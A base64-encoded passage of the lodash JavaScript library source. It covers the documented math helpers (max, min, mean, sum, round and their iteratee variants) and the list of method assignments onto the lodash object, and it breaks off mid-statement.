gICAgICogQHJldHVybnMgeyp9IFJldHVybnMgdGhlIG1heGltdW0gdmFsdWUuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIF8ubWF4KFs0LCAyLCA4LCA2XSk7XG4gICAgICogLy8gPT4gOFxuICAgICAqXG4gICAgICogXy5tYXgoW10pO1xuICAgICAqIC8vID0+IHVuZGVmaW5lZFxuICAgICAqL1xuICAgIGZ1bmN0aW9uIG1heChhcnJheSkge1xuICAgICAgcmV0dXJuIChhcnJheSAmJiBhcnJheS5sZW5ndGgpXG4gICAgICAgID8gYmFzZUV4dHJlbXVtKGFycmF5LCBpZGVudGl0eSwgYmFzZUd0KVxuICAgICAgICA6IHVuZGVmaW5lZDtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBUaGlzIG1ldGhvZCBpcyBsaWtlIGBfLm1heGAgZXhjZXB0IHRoYXQgaXQgYWNjZXB0cyBgaXRlcmF0ZWVgIHdoaWNoIGlzXG4gICAgICogaW52b2tlZCBmb3IgZWFjaCBlbGVtZW50IGluIGBhcnJheWAgdG8gZ2VuZXJhdGUgdGhlIGNyaXRlcmlvbiBieSB3aGljaFxuICAgICAqIHRoZSB2YWx1ZSBpcyByYW5rZWQuIFRoZSBpdGVyYXRlZSBpcyBpbnZva2VkIHdpdGggb25lIGFyZ3VtZW50OiAodmFsdWUpLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDQuMC4wXG4gICAgICogQGNhdGVnb3J5IE1hdGhcbiAgICAgKiBAcGFyYW0ge0FycmF5fSBhcnJheSBUaGUgYXJyYXkgdG8gaXRlcmF0ZSBvdmVyLlxuICAgICAqIEBwYXJhbSB7RnVuY3Rpb259IFtpdGVyYXRlZT1fLmlkZW50aXR5XSBUaGUgaXRlcmF0ZWUgaW52b2tlZCBwZXIgZWxlbWVudC5cbiAgICAgKiBAcmV0dXJucyB7Kn0gUmV0dXJucyB0aGUgbWF4aW11bSB2YWx1ZS5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogdmFyIG9iamVjdHMgPSBbeyAnbic6IDEgfSwgeyAnbic6IDIgfV07XG4gICAgICpcbiAgICAgKiBfLm1heEJ5KG9iamVjdHMsIGZ1bmN0aW9uKG8pIHsgcmV0dXJuIG8ubjsgfSk7XG4gICAgICogLy8gPT4geyAnbic6IDIgfVxuICAgICAqXG4gICAgICogLy8gVGhlIGBfLnByb3BlcnR5YCBpdGVyYXRlZSBzaG9ydGhhbmQuXG4gICAgICogXy5tYXhCeShvYmplY3RzLCAnbicpO1xuICAgICAqIC8vID0+IHsgJ24nOiAyIH1cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBtYXhCeShhcnJheSwgaXRlcmF0ZWUpIHtcbiAgICAgIHJldHVybiAoYXJyYXkgJiYgYXJyYXkubGVuZ3RoKVxuICAgICAgICA/IGJhc2VFeHRyZW11bShhcnJheSwgZ2V0SXRlcmF0ZWUoaXRlcmF0ZWUsIDIpLCBiYXNlR3QpXG4gICAgICAgIDogdW5kZWZpbmVkO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIENvbXB1dGVzIHRoZSBtZWFuIG9mIHRoZSB2YWx1ZXMgaW4gYGFycmF5YC5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSA0LjAuMFxuICAgICAqIEBjYXRlZ29yeSBNYXRoXG4gICAgICogQHBhcmFtIHtBcnJheX0gYXJyYXkgVGhlIGFycmF5IHRvIGl0ZXJhdGUgb3Zlci5cbiAgICAgKiBAcmV0dXJucyB7bnVtYmVyfSBSZXR1cm5zIHRoZSBtZWFuLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBfLm1lYW4oWzQsIDIsIDgsIDZdKTtcbiAgICAgKiAvLyA9PiA1XG4gICAgICovXG4gICAgZnVuY3Rpb24gbWVhbihhcnJheSkge1xuICAgICAgcmV0dXJuIGJhc2VNZWFuKGFycmF5LCBpZGVudGl0eSk7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogVGhpcyBtZXRob2QgaXMgbGlrZSBgXy5tZWFuYCBleGNlcHQgdGhhdCBpdCBhY2NlcHRzIGBpdGVyYXRlZWAgd2hpY2ggaXNcbiAgICAgKiBpbnZva2VkIGZvciBlYWNoIGVsZW1lbnQgaW4gYGFycmF5YCB0byBnZW5lcmF0ZSB0aGUgdmFsdWUgdG8gYmUgYXZlcmFnZWQuXG4gICAgICogVGhlIGl0ZXJhdGVlIGlzIGludm9rZWQgd2l0aCBvbmUgYXJndW1lbnQ6ICh2YWx1ZSkuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgNC43LjBcbiAgICAgKiBAY2F0ZWdvcnkgTWF0aFxuICAgICAqIEBwYXJhbSB7QXJyYXl9IGFycmF5IFRoZSBhcnJheSB0byBpdGVyYXRlIG92ZXIuXG4gICAgICogQHBhcmFtIHtGdW5jdGlvbn0gW2l0ZXJhdGVlPV8uaWRlbnRpdHldIFRoZSBpdGVyYXRlZSBpbnZva2VkIHBlciBlbGVtZW50LlxuICAgICAqIEByZXR1cm5zIHtudW1iZXJ9IFJldHVybnMgdGhlIG1lYW4uXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIHZhciBvYmplY3RzID0gW3sgJ24nOiA0IH0sIHsgJ24nOiAyIH0sIHsgJ24nOiA4IH0sIHsgJ24nOiA2IH1dO1xuICAgICAqXG4gICAgICogXy5tZWFuQnkob2JqZWN0cywgZnVuY3Rpb24obykgeyByZXR1cm4gby5uOyB9KTtcbiAgICAgKiAvLyA9PiA1XG4gICAgICpcbiAgICAgKiAvLyBUaGUgYF8ucHJvcGVydHlgIGl0ZXJhdGVlIHNob3J0aGFuZC5cbiAgICAgKiBfLm1lYW5CeShvYmplY3RzLCAnbicpO1xuICAgICAqIC8vID0+IDVcbiAgICAgKi9cbiAgICBmdW5jdGlvbiBtZWFuQnkoYXJyYXksIGl0ZXJhdGVlKSB7XG4gICAgICByZXR1cm4gYmFzZU1lYW4oYXJyYXksIGdldEl0ZXJhdGVlKGl0ZXJhdGVlLCAyKSk7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogQ29tcHV0ZXMgdGhlIG1pbmltdW0gdmFsdWUgb2YgYGFycmF5YC4gSWYgYGFycmF5YCBpcyBlbXB0eSBvciBmYWxzZXksXG4gICAgICogYHVuZGVmaW5lZGAgaXMgcmV0dXJuZWQuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQHNpbmNlIDAuMS4wXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAY2F0ZWdvcnkgTWF0aFxuICAgICAqIEBwYXJhbSB7QXJyYXl9IGFycmF5IFRoZSBhcnJheSB0byBpdGVyYXRlIG92ZXIuXG4gICAgICogQHJldHVybnMgeyp9IFJldHVybnMgdGhlIG1pbmltdW0gdmFsdWUuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIF8ubWluKFs0LCAyLCA4LCA2XSk7XG4gICAgICogLy8gPT4gMlxuICAgICAqXG4gICAgICogXy5taW4oW10pO1xuICAgICAqIC8vID0+IHVuZGVmaW5lZFxuICAgICAqL1xuICAgIGZ1bmN0aW9uIG1pbihhcnJheSkge1xuICAgICAgcmV0dXJuIChhcnJheSAmJiBhcnJheS5sZW5ndGgpXG4gICAgICAgID8gYmFzZUV4dHJlbXVtKGFycmF5LCBpZGVudGl0eSwgYmFzZUx0KVxuICAgICAgICA6IHVuZGVmaW5lZDtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBUaGlzIG1ldGhvZCBpcyBsaWtlIGBfLm1pbmAgZXhjZXB0IHRoYXQgaXQgYWNjZXB0cyBgaXRlcmF0ZWVgIHdoaWNoIGlzXG4gICAgICogaW52b2tlZCBmb3IgZWFjaCBlbGVtZW50IGluIGBhcnJheWAgdG8gZ2VuZXJhdGUgdGhlIGNyaXRlcmlvbiBieSB3aGljaFxuICAgICAqIHRoZSB2YWx1ZSBpcyByYW5rZWQuIFRoZSBpdGVyYXRlZSBpcyBpbnZva2VkIHdpdGggb25lIGFyZ3VtZW50OiAodmFsdWUpLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDQuMC4wXG4gICAgICogQGNhdGVnb3J5IE1hdGhcbiAgICAgKiBAcGFyYW0ge0FycmF5fSBhcnJheSBUaGUgYXJyYXkgdG8gaXRlcmF0ZSBvdmVyLlxuICAgICAqIEBwYXJhbSB7RnVuY3Rpb259IFtpdGVyYXRlZT1fLmlkZW50aXR5XSBUaGUgaXRlcmF0ZWUgaW52b2tlZCBwZXIgZWxlbWVudC5cbiAgICAgKiBAcmV0dXJucyB7Kn0gUmV0dXJucyB0aGUgbWluaW11bSB2YWx1ZS5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogdmFyIG9iamVjdHMgPSBbeyAnbic6IDEgfSwgeyAnbic6IDIgfV07XG4gICAgICpcbiAgICAgKiBfLm1pbkJ5KG9iamVjdHMsIGZ1bmN0aW9uKG8pIHsgcmV0dXJuIG8ubjsgfSk7XG4gICAgICogLy8gPT4geyAnbic6IDEgfVxuICAgICAqXG4gICAgICogLy8gVGhlIGBfLnByb3BlcnR5YCBpdGVyYXRlZSBzaG9ydGhhbmQuXG4gICAgICogXy5taW5CeShvYmplY3RzLCAnbicpO1xuICAgICAqIC8vID0+IHsgJ24nOiAxIH1cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBtaW5CeShhcnJheSwgaXRlcmF0ZWUpIHtcbiAgICAgIHJldHVybiAoYXJyYXkgJiYgYXJyYXkubGVuZ3RoKVxuICAgICAgICA/IGJhc2VFeHRyZW11bShhcnJheSwgZ2V0SXRlcmF0ZWUoaXRlcmF0ZWUsIDIpLCBiYXNlTHQpXG4gICAgICAgIDogdW5kZWZpbmVkO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIE11bHRpcGx5IHR3byBudW1iZXJzLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDQuNy4wXG4gICAgICogQGNhdGVnb3J5IE1hdGhcbiAgICAgKiBAcGFyYW0ge251bWJlcn0gbXVsdGlwbGllciBUaGUgZmlyc3QgbnVtYmVyIGluIGEgbXVsdGlwbGljYXRpb24uXG4gICAgICogQHBhcmFtIHtudW1iZXJ9IG11bHRpcGxpY2FuZCBUaGUgc2Vjb25kIG51bWJlciBpbiBhIG11bHRpcGxpY2F0aW9uLlxuICAgICAqIEByZXR1cm5zIHtudW1iZXJ9IFJldHVybnMgdGhlIHByb2R1Y3QuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIF8ubXVsdGlwbHkoNiwgNCk7XG4gICAgICogLy8gPT4gMjRcbiAgICAgKi9cbiAgICB2YXIgbXVsdGlwbHkgPSBjcmVhdGVNYXRoT3BlcmF0aW9uKGZ1bmN0aW9uKG11bHRpcGxpZXIsIG11bHRpcGxpY2FuZCkge1xuICAgICAgcmV0dXJuIG11bHRpcGxpZXIgKiBtdWx0aXBsaWNhbmQ7XG4gICAgfSwgMSk7XG5cbiAgICAvKipcbiAgICAgKiBDb21wdXRlcyBgbnVtYmVyYCByb3VuZGVkIHRvIGBwcmVjaXNpb25gLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDMuMTAuMFxuICAgICAqIEBjYXRlZ29yeSBNYXRoXG4gICAgICogQHBhcmFtIHtudW1iZXJ9IG51bWJlciBUaGUgbnVtYmVyIHRvIHJvdW5kLlxuICAgICAqIEBwYXJhbSB7bnVtYmVyfSBbcHJlY2lzaW9uPTBdIFRoZSBwcmVjaXNpb24gdG8gcm91bmQgdG8uXG4gICAgICogQHJldHVybnMge251bWJlcn0gUmV0dXJucyB0aGUgcm91bmRlZCBudW1iZXIuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIF8ucm91bmQoNC4wMDYpO1xuICAgICAqIC8vID0+IDRcbiAgICAgKlxuICAgICAqIF8ucm91bmQoNC4wMDYsIDIpO1xuICAgICAqIC8vID0+IDQuMDFcbiAgICAgKlxuICAgICAqIF8ucm91bmQoNDA2MCwgLTIpO1xuICAgICAqIC8vID0+IDQxMDBcbiAgICAgKi9cbiAgICB2YXIgcm91bmQgPSBjcmVhdGVSb3VuZCgncm91bmQnKTtcblxuICAgIC8qKlxuICAgICAqIFN1YnRyYWN0IHR3byBudW1iZXJzLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDQuMC4wXG4gICAgICogQGNhdGVnb3J5IE1hdGhcbiAgICAgKiBAcGFyYW0ge251bWJlcn0gbWludWVuZCBUaGUgZmlyc3QgbnVtYmVyIGluIGEgc3VidHJhY3Rpb24uXG4gICAgICogQHBhcmFtIHtudW1iZXJ9IHN1YnRyYWhlbmQgVGhlIHNlY29uZCBudW1iZXIgaW4gYSBzdWJ0cmFjdGlvbi5cbiAgICAgKiBAcmV0dXJucyB7bnVtYmVyfSBSZXR1cm5zIHRoZSBkaWZmZXJlbmNlLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBfLnN1YnRyYWN0KDYsIDQpO1xuICAgICAqIC8vID0+IDJcbiAgICAgKi9cbiAgICB2YXIgc3VidHJhY3QgPSBjcmVhdGVNYXRoT3BlcmF0aW9uKGZ1bmN0aW9uKG1pbnVlbmQsIHN1YnRyYWhlbmQpIHtcbiAgICAgIHJldHVybiBtaW51ZW5kIC0gc3VidHJhaGVuZDtcbiAgICB9LCAwKTtcblxuICAgIC8qKlxuICAgICAqIENvbXB1dGVzIHRoZSBzdW0gb2YgdGhlIHZhbHVlcyBpbiBgYXJyYXlgLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDMuNC4wXG4gICAgICogQGNhdGVnb3J5IE1hdGhcbiAgICAgKiBAcGFyYW0ge0FycmF5fSBhcnJheSBUaGUgYXJyYXkgdG8gaXRlcmF0ZSBvdmVyLlxuICAgICAqIEByZXR1cm5zIHtudW1iZXJ9IFJldHVybnMgdGhlIHN1bS5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogXy5zdW0oWzQsIDIsIDgsIDZdKTtcbiAgICAgKiAvLyA9PiAyMFxuICAgICAqL1xuICAgIGZ1bmN0aW9uIHN1bShhcnJheSkge1xuICAgICAgcmV0dXJuIChhcnJheSAmJiBhcnJheS5sZW5ndGgpXG4gICAgICAgID8gYmFzZVN1bShhcnJheSwgaWRlbnRpdHkpXG4gICAgICAgIDogMDtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBUaGlzIG1ldGhvZCBpcyBsaWtlIGBfLnN1bWAgZXhjZXB0IHRoYXQgaXQgYWNjZXB0cyBgaXRlcmF0ZWVgIHdoaWNoIGlzXG4gICAgICogaW52b2tlZCBmb3IgZWFjaCBlbGVtZW50IGluIGBhcnJheWAgdG8gZ2VuZXJhdGUgdGhlIHZhbHVlIHRvIGJlIHN1bW1lZC5cbiAgICAgKiBUaGUgaXRlcmF0ZWUgaXMgaW52b2tlZCB3aXRoIG9uZSBhcmd1bWVudDogKHZhbHVlKS5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSA0LjAuMFxuICAgICAqIEBjYXRlZ29yeSBNYXRoXG4gICAgICogQHBhcmFtIHtBcnJheX0gYXJyYXkgVGhlIGFycmF5IHRvIGl0ZXJhdGUgb3Zlci5cbiAgICAgKiBAcGFyYW0ge0Z1bmN0aW9ufSBbaXRlcmF0ZWU9Xy5pZGVudGl0eV0gVGhlIGl0ZXJhdGVlIGludm9rZWQgcGVyIGVsZW1lbnQuXG4gICAgICogQHJldHVybnMge251bWJlcn0gUmV0dXJucyB0aGUgc3VtLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiB2YXIgb2JqZWN0cyA9IFt7ICduJzogNCB9LCB7ICduJzogMiB9LCB7ICduJzogOCB9LCB7ICduJzogNiB9XTtcbiAgICAgKlxuICAgICAqIF8uc3VtQnkob2JqZWN0cywgZnVuY3Rpb24obykgeyByZXR1cm4gby5uOyB9KTtcbiAgICAgKiAvLyA9PiAyMFxuICAgICAqXG4gICAgICogLy8gVGhlIGBfLnByb3BlcnR5YCBpdGVyYXRlZSBzaG9ydGhhbmQuXG4gICAgICogXy5zdW1CeShvYmplY3RzLCAnbicpO1xuICAgICAqIC8vID0+IDIwXG4gICAgICovXG4gICAgZnVuY3Rpb24gc3VtQnkoYXJyYXksIGl0ZXJhdGVlKSB7XG4gICAgICByZXR1cm4gKGFycmF5ICYmIGFycmF5Lmxlbmd0aClcbiAgICAgICAgPyBiYXNlU3VtKGFycmF5LCBnZXRJdGVyYXRlZShpdGVyYXRlZSwgMikpXG4gICAgICAgIDogMDtcbiAgICB9XG5cbiAgICAvKi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSovXG5cbiAgICAvLyBBZGQgbWV0aG9kcyB0aGF0IHJldHVybiB3cmFwcGVkIHZhbHVlcyBpbiBjaGFpbiBzZXF1ZW5jZXMuXG4gICAgbG9kYXNoLmFmdGVyID0gYWZ0ZXI7XG4gICAgbG9kYXNoLmFyeSA9IGFyeTtcbiAgICBsb2Rhc2guYXNzaWduID0gYXNzaWduO1xuICAgIGxvZGFzaC5hc3NpZ25JbiA9IGFzc2lnbkluO1xuICAgIGxvZGFzaC5hc3NpZ25JbldpdGggPSBhc3NpZ25JbldpdGg7XG4gICAgbG9kYXNoLmFzc2lnbldpdGggPSBhc3NpZ25XaXRoO1xuICAgIGxvZGFzaC5hdCA9IGF0O1xuICAgIGxvZGFzaC5iZWZvcmUgPSBiZWZvcmU7XG4gICAgbG9kYXNoLmJpbmQgPSBiaW5kO1xuICAgIGxvZGFzaC5iaW5kQWxsID0gYmluZEFsbDtcbiAgICBsb2Rhc2guYmluZEtleSA9IGJpbmRLZXk7XG4gICAgbG9kYXNoLmNhc3RBcnJheSA9IGNhc3RBcnJheTtcbiAgICBsb2Rhc2guY2hhaW4gPSBjaGFpbjtcbiAgICBsb2Rhc2guY2h1bmsgPSBjaHVuaztcbiAgICBsb2Rhc2guY29tcGFjdCA9IGNvbXBhY3Q7XG4gICAgbG9kYXNoLmNvbmNhdCA9IGNvbmNhdDtcbiAgICBsb2Rhc2guY29uZCA9IGNvbmQ7XG4gICAgbG9kYXNoLmNvbmZvcm1zID0gY29uZm9ybXM7XG4gICAgbG9kYXNoLmNvbnN0YW50ID0gY29uc3RhbnQ7XG4gICAgbG9kYXNoLmNvdW50QnkgPSBjb3VudEJ5O1xuICAgIGxvZGFzaC5jcmVhdGUgPSBjcmVhdGU7XG4gICAgbG9kYXNoLmN1cnJ5ID0gY3Vycnk7XG4gICAgbG9kYXNoLmN1cnJ5UmlnaHQgPSBjdXJyeVJpZ2h0O1xuICAgIGxvZGFzaC5kZWJvdW5jZSA9IGRlYm91bmNlO1xuICAgIGxvZGFzaC5kZWZhdWx0cyA9IGRlZmF1bHRzO1xuICAgIGxvZGFzaC5kZWZhdWx0c0RlZXAgPSBkZWZhdWx0c0RlZXA7XG4gICAgbG9kYXNoLmRlZmVyID0gZGVmZXI7XG4gICAgbG9kYXNoLmRlbGF5ID0gZGVsYXk7XG4gICAgbG9kYXNoLmRpZmZlcmVuY2UgPSBkaWZmZXJlbmNlO1xuICAgIGxvZGFzaC5kaWZmZXJlbmNlQnkgPSBkaWZmZXJlbmNlQnk7XG4gICAgbG9kYXNoLmRpZmZlcmVuY2VXaXRoID0gZGlmZmVyZW5jZVdpdGg7XG4gICAgbG9kYXNoLmRyb3AgPSBkcm9wO1xuICAgIGxvZGFzaC5kcm9wUmlnaHQgPSBkcm9wUmlnaHQ7XG4gICAgbG9kYXNoLmRyb3BSaWdodFdoaWxlID0gZHJvcFJpZ2h0V2hpbGU7XG4gICAgbG9kYXNoLmRyb3BXaGlsZSA9IGRyb3BXaGlsZTtcbiAgICBsb2Rhc2guZmlsbCA9IGZpbGw7XG4gICAgbG9kYXNoLmZpbHRlciA9IGZpbHRlcjtcbiAgICBsb2Rhc2guZmxhdE1hcCA9IGZsYXRNYXA7XG4gICAgbG9kYXNoLmZsYXRNYXBEZWVwID0gZmxhdE1hcERlZXA7XG4gICAgbG9kYXNoLmZsYXRNYXBEZXB0aCA9IGZsYXRNYXBEZXB0aDtcbiAgICBsb2Rhc2guZmxhdHRlbiA9IGZsYXR0ZW47XG4gICAgbG9kYXNoLmZsYXR0ZW5EZWVwID0gZmxhdHRlbkRlZXA7XG4gICAgbG9kYXNoLmZsYXR0ZW5EZXB0aCA9IGZsYXR0ZW5EZXB0aDtcbiAgICBsb2Rhc2guZmxpcCA9IGZsaXA7XG4gICAgbG9kYXNoLmZsb3cgPSBmbG93O1xuICAgIGxvZGFzaC5mbG93UmlnaHQgPSBmbG93UmlnaHQ7XG4gICAgbG9kYXNoLmZyb21QYWlycyA9IGZyb21QYWlycztcbiAgICBsb2Rhc2guZnVuY3Rpb25zID0gZnVuY3Rpb25zO1xuICAgIGxvZGFzaC5mdW5jdGlvbnNJbiA9IGZ1bmN0aW9uc0luO1xuICAgIGxvZGFzaC5ncm91cEJ5ID0gZ3JvdXBCeTtcbiAgICBsb2Rhc2guaW5pdGlhbCA9IGluaXRpYWw7XG4gICAgbG9kYXNoLmludGVyc2VjdGlvbiA9IGludGVyc2VjdGlvbjtcbiAgICBsb2Rhc2guaW50ZXJzZWN0aW9uQnkgPSBpbnRlcnNlY3Rpb25CeTtcbiAgICBsb2Rhc2guaW50ZXJzZWN0aW9uV2l0aCA9IGludGVyc2VjdGlvbldpdGg7XG4gICAgbG9kYXNoLmludmVydCA9IGludmVydDtcbiAgICBsb2Rhc2guaW52ZXJ0QnkgPSBpbnZlcnRCeTtcbiAgICBsb2Rhc2guaW52b2tlTWFwID0gaW52b2tlTWFwO1xuICAgIGxvZGFzaC5pdGVyYXRlZSA9IGl0ZXJhdGVlO1xuICAgIGxvZGFzaC5rZXlCeSA9IGtleUJ5O1xuICAgIGxvZGFzaC5rZXlzID0ga2V5cztcbiAgICBsb2Rhc2gua2V5c0luID0ga2V5c0luO1xuICAgIGxvZGFzaC5tYXAgPSBtYXA7XG4gICAgbG9kYXNoLm1hcEtleXMgPSBtYXBLZXlzO1xuICAgIGxvZGFzaC5tYXBWYWx1ZXMgPSBtYXBWYWx1ZXM7XG4gICAgbG9kYXNoLm1hdGNoZXMgPSBtYXRjaGVzO1xuICAgIGxvZGFzaC5tYXRjaGVzUHJvcGVydHkgPSBtYXRjaGVzUHJvcGVydHk7XG4gICAgbG9kYXNoLm1lbW9pemUgPSBtZW1vaXplO1xuICAgIGxvZGFzaC5tZXJnZSA9IG1lcmdlO1xuICAgIGxvZGFzaC5tZXJnZVdpdGggPSBtZXJnZVdpdGg7XG4gICAgbG9kYXNoLm1ldGhvZCA9IG1ldGhvZDtcbiAgICBsb2Rhc2gubWV0aG9kT2YgPSBtZXRob2RPZjtcbiAgICBsb2Rhc2gubWl4aW4gPSBtaXhpbjtcbiAgICBsb2Rhc2gubmVnYXRlID0gbmVnYXRlO1xuICAgIGxvZGFzaC5udGhBcmcgPSBudGhBcmc7XG4gICAgbG9kYXNoLm9taXQgPSBvbWl0O1xuICAgIGxvZGFzaC5vbWl0QnkgPSBvbWl0Qnk7XG4gICAgbG9kYXNoLm9uY2UgPSBvbmNlO1xuICAgIGxvZGFzaC5vcmRlckJ5ID0gb3JkZXJCeTtcbiAgICBsb2Rhc2gub3ZlciA9IG92ZXI7XG4gICAgbG9kYXNoLm92ZXJBcmdzID0gb3ZlckFyZ3M7XG4gICAgbG9kYXNoLm92ZXJFdmVyeSA9IG92ZXJFdmVyeTtcbiAgICBsb2Rhc2gub3ZlclNvbWUgPSBvdmVyU29tZTtcbiAgICBsb2Rhc2gucGFydGlhbCA9IHBhcnRpYWw7XG4gICAgbG9kYXNoLnBhcnRpYWxSaWdodCA9IHBhcnRpYWxSaWdodDtcbiAgICBsb2Rhc2gucGFydGl0aW9uID0gcGFydGl0aW9uO1xuICAgIGxvZGFzaC5waWNrID0gcGljaztcbiAgICBsb2Rhc2gucGlja0J5ID0gcGlja0J5O1xuICAgIGxvZGFzaC5wcm9wZXJ0eSA9IHByb3BlcnR5O1xuICAgIGxvZGFzaC5wcm9wZXJ0eU9mID0gcHJvcGVydHlPZjtcbiAgICBsb2Rhc2gucHVsbCA9IHB1bGw7XG4gICAgbG9kYXNoLnB1bGxBbGwgPSBwdWxsQWxsO1xuICAgIGxvZGFzaC5wdWxsQWxsQnkgPSBwdWxsQWxsQnk7XG4gICAgbG9kYXNoLnB1bGxBbGxXaXRoID0gcHVsbEFsbFdpdGg7XG4gICAgbG9kYXNoLnB1bGxBdCA9IHB1bGxBdDtcbiAgICBsb2Rhc2gucmFuZ2UgPSByYW5nZTtcbiAgICBsb2Rhc2gucmFuZ2VSaWdodCA9IHJhbmdlUmlnaHQ7XG4gICAgbG9kYXNoLnJlYXJnID0gcmVhcmc7XG4gICAgbG9kYXNoLnJlamVjdCA9IHJlamVjdDtcbiAgICBsb2Rhc2gucmVtb3ZlID0gcmVtb3ZlO1xuICAgIGxvZGFzaC5yZXN0ID0gcmVzdDtcbiAgICBsb2Rhc2gucmV2ZXJzZSA9IHJldmVyc2U7XG4gICAgbG9kYXNoLnNhbXBsZVNpemUgPSBzYW1wbGVTaXplO1xuICAgIGxvZGFzaC5zZXQgPSBzZXQ7XG4gICAgbG9kYXNoLnNldFdpdGggPSBzZXRXaXRoO1xuICAgIGxvZGFzaC5zaHVmZmxlID0gc2h1ZmZsZTtcbiAgICBsb2Rhc2guc2xpY2UgPSBzbGljZTtcbiAgICBsb2Rhc2guc29ydEJ5ID0gc29ydEJ5O1xuICAgIGxvZGFzaC5zb3J0ZWRVbmlxID0gc29ydGVkVW5pcTtcbiAgICBsb2Rhc2guc29ydGVkVW5pcUJ5ID0gc29ydGVkVW5pcUJ5O1xuICAgIGxvZGFzaC5zcGxpdCA9IHNwbGl0O1xuICAgIGxvZGFzaC5zcHJlYWQgPSBzcHJlYWQ7XG4gICAgbG9kYXNoLnRhaWwgPSB0YWlsO1xuICAgIGxvZGFzaC50YWtlID0gdGFrZTtcbiAgICBsb2Rhc2gudGFrZVJpZ2h0ID0gdGFrZVJpZ2h0O1xuICAgIGxvZGFzaC50YWtlUmlnaHRXaGlsZSA9IHRha2VSaWdodFdoaWxlO1xuICAgIGxvZGFzaC50YWtlV2hpbGUgPSB0YWtlV2hpbGU7XG4gICAgbG9kYXNoLnRhcCA9IHRhcDtcbiAgICBsb2Rhc2gudGhyb3R0bGUgPSB0aHJvdHRsZTtcbiAgICBsb2Rhc2gudGhydSA9IHRocnU7XG4gICAgbG9kYXNoLnRvQXJyYXkgPSB0b0FycmF5O1xuICAgIGxvZGFzaC50b1BhaXJzID0gdG9QYWlycztcbiAgICBsb2Rhc2gudG9QYWlyc0luID0gdG9QYWlyc0luO1xuICAgIGxvZGFzaC50b1BhdGggPSB0b1BhdGg7XG4gICAgbG9kYXNoLnRvUGxhaW5PYmplY3QgPSB0b1BsYWluT2JqZWN0O1xuICAgIGxvZGFzaC50cmFuc2Zvcm0gPSB0cmFuc2Zvcm07XG4gICAgbG9kYXNoLnVuYXJ5ID0gdW5hcnk7XG4gICAgbG9kYXNoLnVuaW9uID0gdW5pb247XG4gICAgbG9kYXNoLnVuaW9uQnkgPSB1bmlvbkJ5O1xuICAgIGxvZGFzaC51bmlvbldpdGggPSB1bmlvbldpdGg7XG4gICAgbG9kYXNoLnVuaXEgPSB1bmlxO1xuICAgIGxvZGFzaC51bmlxQnkgPSB1bmlxQnk7XG4gICAgbG9kYXNoLnVuaXFXaXRoID0gdW5pcVdpdGg7XG4gICAgbG9kYXNoLnVuc2V0ID0gdW5zZXQ7XG4gICAgbG9kYXNoLnVuemlwID0gdW56aXA7XG4gICAgbG9kYXNoLnVuemlwV2l0aCA9IHVuemlwV2l0aDtcbiAgICBsb2Rhc2gudXBkYXRlID0gdXBkYXRlO1xuICAgIGxvZGFzaC51cGRhdGVXaXRoID0gdXBkYXRlV2l0aDtcbiAgICBsb2Rhc2gudmFsdWVzID0gdmFsdWVzO1xuICAgIGxvZGFzaC52YWx1ZXNJbiA9IHZhbHVlc0luO1xuICAgIGxvZGFzaC53aXRob3V0ID0gd2l0aG91dDtcbiAgICBsb2Rhc2gud29yZHMgPSB3b3JkcztcbiAgICBsb2Rhc2gud3JhcCA9IHdyYXA7XG4gICAgbG9kYXNoLnhvciA9IHhvcjtcbiAgICBsb2Rhc2gueG9yQnkgPSB4b3JCeTtcbiAgICBsb2Rhc2gueG9yV2l0aCA9IHhvcldpdGg7XG4gICAgbG9kYXNoLnppcCA9IHppcDtcbiAgICBsb2Rhc2guemlwT2JqZWN0ID0gemlwT2JqZWN0O1xuICAgIGxvZGFzaC56aXBPYmplY3REZWVwID0gemlwT2JqZWN0RGVlcDtcbiAgICBsb2Rhc2guemlwV2l0aCA9